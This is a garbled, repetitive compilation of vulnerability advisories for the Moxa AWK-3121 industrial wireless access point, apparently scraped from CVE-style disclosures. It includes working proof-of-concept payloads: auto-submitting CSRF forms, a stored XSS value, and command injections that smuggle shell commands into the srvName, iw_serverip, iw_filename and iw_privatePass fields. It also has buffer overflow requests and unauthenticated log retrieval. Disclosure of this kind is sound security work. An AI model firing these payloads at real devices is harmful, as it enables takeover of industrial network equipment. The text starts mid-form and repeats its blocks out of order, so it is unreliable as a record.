enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK<\/td');alert(1);//" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Scripting (XSS) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.9 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a stored XSS on the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 12. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=071b1093656adca3510d5e32f69737ec ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" `ping -c 3 192.168.127.101` ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 13. ------------------------------------------ [Additional Information] POC <html <body <script function submitRequest() { var formData = new FormData(); formData.append("iw_filename", ";`ping -c 9 192.168.127.103` ##"); formData.append("iw_storage", "tftp"); formData.append("iw_serverip", "192.168.1.101"); formData.append("bkpath", "/wireless_cert.asp?index=1"); // HTML file input, chosen by user formData.append("certFile1", "test.txt"); // JavaScript file-like object var content = '<a id="a"<b id="b"hey!</b</a'; // the body of the new file... var blob = new Blob([content], { type: "text/xml"}); formData.append("certFile", blob); var request = new XMLHttpRequest(); request.open("POST", "http://192.168.127.253/forms/web_certUpload"); request.send(formData); } </script <form action="#" <input type="submit" value="Submit request" onclick="submitRequest();" / </form </body </html ------------------------------------------ [VulnerabilityType Other] Command injection in web runscript functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 14. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=c629f1b9d18c3d751da6d7b1fd43e628 ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="XXXX" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" AAAAAAAAAAAAAAAAAA (etc.) ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley

An issue was discovered on Moxa AWK-3121 1.14 devices. It provides functionality so that an administrator can run scripts on the device to troubleshoot any issues. However, the same functionality allows an attacker to execute commands on the device. The POST parameter "iw_serverip" is susceptible to buffer overflow. By crafting a packet that contains a string of 480 characters, it is possible for an attacker to execute the attack. Moxa AWK-3121 The device contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Moxa AWK-3121 is an industrial-grade wireless access point produced by Moxa Corporation of Taiwan, China. Moxa AWK-3121 There is a buffer error vulnerability in the 'iw_serverip' parameter in version 1.14. This vulnerability stems from the incorrect verification of data boundaries when the network system or product performs operations on the memory, resulting in incorrect read and write operations to other associated memory locations. The device by default allows HTTP traffic thus providing an insecure communication mechanism for a user connecting to the web server. This allows an attacker to sniff the traffic easily and allows an attacker to compromise sensitive data such as credentials. ------------------------------------------ [VulnerabilityType Other] HTTP traffic by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the HTTP traffic passing between the user and the device by using a MITM attack such as ARP poisoning. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 2. It is intended that an administrator can download /systemlog.log (the system log). ------------------------------------------ [Additional Information] POC http://192.168.127.253//systemlog.log ------------------------------------------ [Vulnerability Type] Incorrect Access Control ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can navigate to URL and download the systemlog file without any authentication or authorization ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 3. The session cookie "Password508" does not have an HttpOnly flag. ------------------------------------------ [VulnerabilityType Other] Missing HttpOnly flag on session cookie ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can use cross-site scripting attack to access the session cookie "Password508" which can allow an attacker to login into the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 4. It provides ping functionality so that an administrator can execute ICMP calls to check if the network is working correctly. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=6d86219d9cca208c1085cce81fdd31f0 srvName=AAAAAA (etc.) EEEEEE&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a buffer overflow on the device ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 5. The device provides a Wi-Fi connection that is open and does not use any encryption mechanism by default. An administrator who uses the open wireless connection to set up the device can allow an attacker to sniff the traffic passing between the user's computer and the device. This can allow an attacker to steal the credentials passing over the HTTP connection as well as TELNET traffic. Also an attacker can MITM the response and infect a user's computer very easily as well. ------------------------------------------ [VulnerabilityType Other] Open WiFi Connection ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Device ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can monitor the Wifi channels using Kismet or some other opensource software and an wireless card in monitor mode and sniff all the traffic including HTTP traffic as well as SSH and Telnet traffic. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 6. ------------------------------------------ [Additional Information] POC POST /forms/web_SendTestEmail HTTP/1.1 Cookie: Password508=fab7f1d1efa604721aa70cf5a1ad163f server=server.mail.com&username=test&password=test&from=test@mail.com&to1=AAAAAAAAAA (etc.) ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 7. ------------------------------------------ [Additional Information] POC to change name of the device <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK-ROMEO" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html <html <body <form id="f" action="http://192.168.127.253/forms/webSetMainRestart" method="GET" enctype="application/x-www-form-urlencoded" <input type="hidden" name="SaveValue" value="1" / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Request Forgery (CSRF) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can trick an administrator of the device to visit an attacker controlled page while connected to the network and thus trick to change the password or any other setting ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 8. The Moxa AWK 3121 provides ping functionality so that an administrator can execute ICMP calls to check if the network is working correctly. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=e07f98b965bcc5abfe11c9c763b2d333 srvName=192.168.127.102;ping -c 8 192.168.127.101;##&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [VulnerabilityType Other] Command injection in Ping functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 9. The device enables an unencrypted TELNET service by default. This allows an attacker who has been able to gain an MITM position to easily sniff the traffic between the device and the user. Also an attacker can easily connect to the TELNET daemon using the default credentials if they have not been changed by the user. ------------------------------------------ [VulnerabilityType Other] Insecure service Telnet enabled by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Telnet daemon ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the traffic passing between the device and user by using a MITM attack such as ARP poisoning ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 10. The Moxa AWK 3121 provides certfile upload functionality so that an administrator can upload a certificate file used for connecting to the wireless network. ------------------------------------------ [Additional Information] POC POST /forms/web_certUpload HTTP/1.1 Cookie: Password508=68abf30ef8176a4248320929e04df562 ... 114782935826962 Content-Disposition: form-data; name="iw_privatePass" ;`ping -c 9 192.168.127.103` ## ... 114782935826962 Content-Disposition: form-data; name="bkpath" /wireless_cert.asp?index=1 ... 114782935826962 Content-Disposition: form-data; name="certSection" certWlan ... 114782935826962 Content-Disposition: form-data; name="rfindex" 0 ... 114782935826962 Content-Disposition: form-data; name="Submit" Submit ... 114782935826962 Content-Disposition: form-data; name="certFile1" test.txt ... 114782935826962 Content-Disposition: form-data; name="certFile"; filename="blob" Content-Type: text/xml <a id="a"<b id="b"hey!</b</a ... 114782935826962-- ------------------------------------------ [VulnerabilityType Other] Command injection in file upload ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 11. ------------------------------------------ [Additional Information] POC <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK<\/td');alert(1);//" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Scripting (XSS) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.9 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a stored XSS on the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 12. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=071b1093656adca3510d5e32f69737ec ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" `ping -c 3 192.168.127.101` ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 13. ------------------------------------------ [Additional Information] POC <html <body <script function submitRequest() { var formData = new FormData(); formData.append("iw_filename", ";`ping -c 9 192.168.127.103` ##"); formData.append("iw_storage", "tftp"); formData.append("iw_serverip", "192.168.1.101"); formData.append("bkpath", "/wireless_cert.asp?index=1"); // HTML file input, chosen by user formData.append("certFile1", "test.txt"); // JavaScript file-like object var content = '<a id="a"<b id="b"hey!</b</a'; // the body of the new file... var blob = new Blob([content], { type: "text/xml"}); formData.append("certFile", blob); var request = new XMLHttpRequest(); request.open("POST", "http://192.168.127.253/forms/web_certUpload"); request.send(formData); } </script <form action="#" <input type="submit" value="Submit request" onclick="submitRequest();" / </form </body </html ------------------------------------------ [VulnerabilityType Other] Command injection in web runscript functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 14. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=c629f1b9d18c3d751da6d7b1fd43e628 ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="XXXX" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" AAAAAAAAAAAAAAAAAA (etc.) ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley

An issue was discovered on Moxa AWK-3121 1.14 devices. The Moxa AWK 3121 provides ping functionality so that an administrator can execute ICMP calls to check if the network is working correctly. However, the same functionality allows an attacker to execute commands on the device. The POST parameter "srvName" is susceptible to this injection. By crafting a packet that contains shell metacharacters, it is possible for an attacker to execute the attack. Moxa AWK-3121 The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Moxa AWK-3121 is an industrial-grade wireless access point produced by Moxa Corporation of Taiwan, China. This vulnerability stems from the fact that the network system or product does not correctly filter special elements in the process of constructing executable commands from external input data. The device by default allows HTTP traffic thus providing an insecure communication mechanism for a user connecting to the web server. This allows an attacker to sniff the traffic easily and allows an attacker to compromise sensitive data such as credentials. ------------------------------------------ [VulnerabilityType Other] HTTP traffic by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the HTTP traffic passing between the user and the device by using a MITM attack such as ARP poisoning. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 2. It is intended that an administrator can download /systemlog.log (the system log). ------------------------------------------ [Additional Information] POC http://192.168.127.253//systemlog.log ------------------------------------------ [Vulnerability Type] Incorrect Access Control ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can navigate to URL and download the systemlog file without any authentication or authorization ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 3. The session cookie "Password508" does not have an HttpOnly flag. ------------------------------------------ [VulnerabilityType Other] Missing HttpOnly flag on session cookie ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can use cross-site scripting attack to access the session cookie "Password508" which can allow an attacker to login into the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 4. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=6d86219d9cca208c1085cce81fdd31f0 srvName=AAAAAA (etc.) EEEEEE&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a buffer overflow on the device ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 5. The device provides a Wi-Fi connection that is open and does not use any encryption mechanism by default. An administrator who uses the open wireless connection to set up the device can allow an attacker to sniff the traffic passing between the user's computer and the device. This can allow an attacker to steal the credentials passing over the HTTP connection as well as TELNET traffic. Also an attacker can MITM the response and infect a user's computer very easily as well. ------------------------------------------ [VulnerabilityType Other] Open WiFi Connection ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Device ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can monitor the Wifi channels using Kismet or some other opensource software and an wireless card in monitor mode and sniff all the traffic including HTTP traffic as well as SSH and Telnet traffic. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 6. It provides alert functionality so that an administrator can send emails to his/her account when there are changes to the device's network. ------------------------------------------ [Additional Information] POC POST /forms/web_SendTestEmail HTTP/1.1 Cookie: Password508=fab7f1d1efa604721aa70cf5a1ad163f server=server.mail.com&username=test&password=test&from=test@mail.com&to1=AAAAAAAAAA (etc.) ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 7. The device provides a web interface to allow an administrator to manage the device. ------------------------------------------ [Additional Information] POC to change name of the device <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK-ROMEO" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html <html <body <form id="f" action="http://192.168.127.253/forms/webSetMainRestart" method="GET" enctype="application/x-www-form-urlencoded" <input type="hidden" name="SaveValue" value="1" / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Request Forgery (CSRF) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can trick an administrator of the device to visit an attacker controlled page while connected to the network and thus trick to change the password or any other setting ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 8. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=e07f98b965bcc5abfe11c9c763b2d333 srvName=192.168.127.102;ping -c 8 192.168.127.101;##&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [VulnerabilityType Other] Command injection in Ping functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 9. The device enables an unencrypted TELNET service by default. This allows an attacker who has been able to gain an MITM position to easily sniff the traffic between the device and the user. Also an attacker can easily connect to the TELNET daemon using the default credentials if they have not been changed by the user. ------------------------------------------ [VulnerabilityType Other] Insecure service Telnet enabled by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Telnet daemon ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the traffic passing between the device and user by using a MITM attack such as ARP poisoning ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 10. ------------------------------------------ [Additional Information] POC POST /forms/web_certUpload HTTP/1.1 Cookie: Password508=68abf30ef8176a4248320929e04df562 ... 114782935826962 Content-Disposition: form-data; name="iw_privatePass" ;`ping -c 9 192.168.127.103` ## ... 114782935826962 Content-Disposition: form-data; name="bkpath" /wireless_cert.asp?index=1 ... 114782935826962 Content-Disposition: form-data; name="certSection" certWlan ... 114782935826962 Content-Disposition: form-data; name="rfindex" 0 ... 114782935826962 Content-Disposition: form-data; name="Submit" Submit ... 114782935826962 Content-Disposition: form-data; name="certFile1" test.txt ... 114782935826962 Content-Disposition: form-data; name="certFile"; filename="blob" Content-Type: text/xml <a id="a"<b id="b"hey!</b</a ... 114782935826962-- ------------------------------------------ [VulnerabilityType Other] Command injection in file upload ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 11. ------------------------------------------ [Additional Information] POC <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK<\/td');alert(1);//" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Scripting (XSS) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.9 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a stored XSS 